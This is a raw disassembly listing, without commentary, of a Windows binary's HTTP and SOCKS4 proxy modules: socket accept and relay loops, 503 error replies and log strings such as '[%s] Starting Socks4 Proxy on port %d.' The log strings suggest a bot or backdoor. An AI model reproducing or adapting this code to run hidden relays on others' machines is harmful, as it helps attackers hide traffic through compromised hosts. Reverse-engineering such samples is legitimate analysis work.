		call	sub_401226


loc_429310:				; CODE XREF: sub_4282C0+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429339:				; CODE XREF: sub_4282C0+503j
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42934B:				; CODE XREF: sub_4282C0+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_4293A8:				; CODE XREF: sub_4282C0+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_4293F2:				; CODE XREF: sub_4282C0+711j
					; sub_4282C0+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_42940D:				; CODE XREF: sub_4282C0+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42941F:				; CODE XREF: sub_4282C0+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429492:				; CODE XREF: sub_4282C0+D45j
					; sub_4282C0+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_4294A8:				; CODE XREF: sub_4282C0+10E3j
					; sub_4282C0+1148j
		call	esi	; closesocket


loc_4294AA:				; CODE XREF: sub_4282C0+1086j
					; sub_4282C0+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_4292C4
sub_4282C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4299C0	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4299C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4299C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A30:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429A48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429A48:				; CODE XREF: ___:00429A3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A60	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429A7B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_429A7B:				; CODE XREF: sub_429A60+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429AA0	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429AC3:				; CODE XREF: sub_429AA0+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429AEA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429AC3


loc_429AEA:				; CODE XREF: sub_429AA0+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429BBC
		push	ebp
		push	esi


loc_429B00:				; CODE XREF: sub_429AA0+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429B9B
		test	ebp, ebp
		jz	short loc_429B9B
		push	0C3h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429B46
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429B48
; ---------------------------------------------------------------------------


loc_429B46:				; CODE XREF: sub_429AA0+99j
		xor	esi, esi


loc_429B48:				; CODE XREF: sub_429AA0+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429BA6
; ---------------------------------------------------------------------------


loc_429B9B:				; CODE XREF: sub_429AA0+74j
					; sub_429AA0+7Cj
		push	0FAh
		nop
		call	near ptr 28302B0h


loc_429BA6:				; CODE XREF: sub_429AA0+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429B00
		pop	esi
		pop	ebp


loc_429BBC:				; CODE XREF: sub_429AA0+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429BCE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_429BCE:				; CODE XREF: sub_429AA0+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429C30	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429C58
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429C63
; ---------------------------------------------------------------------------


loc_429C58:				; CODE XREF: sub_429C30+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429C63:				; CODE XREF: sub_429C30+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429C30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429D00	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429D00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D70:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429D88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429D88:				; CODE XREF: ___:00429D7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429DA0	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429DA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429DC0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E01
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E01:				; CODE XREF: sub_429DC0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_429FEC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E3E
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E3E:				; CODE XREF: sub_429DC0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_429FEC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429ED9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429ED9:				; CODE XREF: sub_429DC0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_429F36:				; CODE XREF: sub_429DC0+1AFj
					; sub_429DC0+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_429FDA
		jge	short loc_429F71
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429F71
		push	0Ah
		nop
		call	near ptr 28302B0h
		jmp	short loc_429F36
; ---------------------------------------------------------------------------


loc_429F71:				; CODE XREF: sub_429DC0+198j
					; sub_429DC0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_429FDA
		jge	short loc_429FC3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429FC3
		push	0Ah
		call	near ptr 28302B0h
		nop
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FC3:				; CODE XREF: sub_429DC0+1E7j
					; sub_429DC0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FDA:				; CODE XREF: sub_429DC0+192j
					; sub_429DC0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_429FEC:				; CODE XREF: sub_429DC0+46j
					; sub_429DC0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429DC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A090	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A090	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A100	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A118
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42A118:				; CODE XREF: sub_42A100+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A130	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A150	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A150
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A359
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42A226
		mov	ecx, [esi+9Dh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A226:				; CODE XREF: sub_42A150+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A310


loc_42A23C:				; CODE XREF: sub_42A150+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A260
		push	0FAh
		call	near ptr 28302B0h
		nop
		jmp	loc_42A2FC
; ---------------------------------------------------------------------------


loc_42A260:				; CODE XREF: sub_42A150+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A310
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A310
		push	0A5h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A2AE
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A2AE:				; CODE XREF: sub_42A150+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A2FC:				; CODE XREF: sub_42A150+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A23C


loc_42A310:				; CODE XREF: sub_42A150+E6j
					; sub_42A150+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A324
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42A324:				; CODE XREF: sub_42A150+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


loc_42A359:				; CODE XREF: sub_42A150+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A150	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A400	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42A421
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A421:				; CODE XREF: sub_42A400+Dj
		xor	al, al
		retn	8
sub_42A400	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A440	proc near		; CODE XREF: sub_4020C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A461:				; CODE XREF: sub_42A440+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A47A:				; CODE XREF: sub_42A440+45j
		cmp	[ecx], ebx
		jz	short loc_42A487
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A47A


loc_42A487:				; CODE XREF: sub_42A440+3Cj
		cmp	eax, 1
		jnz	short loc_42A498
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A498:				; CODE XREF: sub_42A440+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42A523
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A523
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A4CC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A4CE
; ---------------------------------------------------------------------------


loc_42A4CC:				; CODE XREF: sub_42A440+84j
		mov	eax, ebx


loc_42A4CE:				; CODE XREF: sub_42A440+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A572
		test	edi, edi
		jz	short loc_42A572
		jbe	short loc_42A51C


loc_42A4FB:				; CODE XREF: sub_42A440+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A572
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A4FB


loc_42A51C:				; CODE XREF: sub_42A440+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A523:				; CODE XREF: sub_42A440+70j
					; sub_42A440+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A535:				; CODE XREF: sub_42A440+100j
		cmp	[ecx], ebx
		jz	short loc_42A542
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A535


loc_42A542:				; CODE XREF: sub_42A440+F7j
		cmp	eax, 1
		jnz	short loc_42A554
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A554:				; CODE XREF: sub_42A440+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42A461


loc_42A572:				; CODE XREF: sub_42A440+B3j
					; sub_42A440+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A440	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A5F0	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
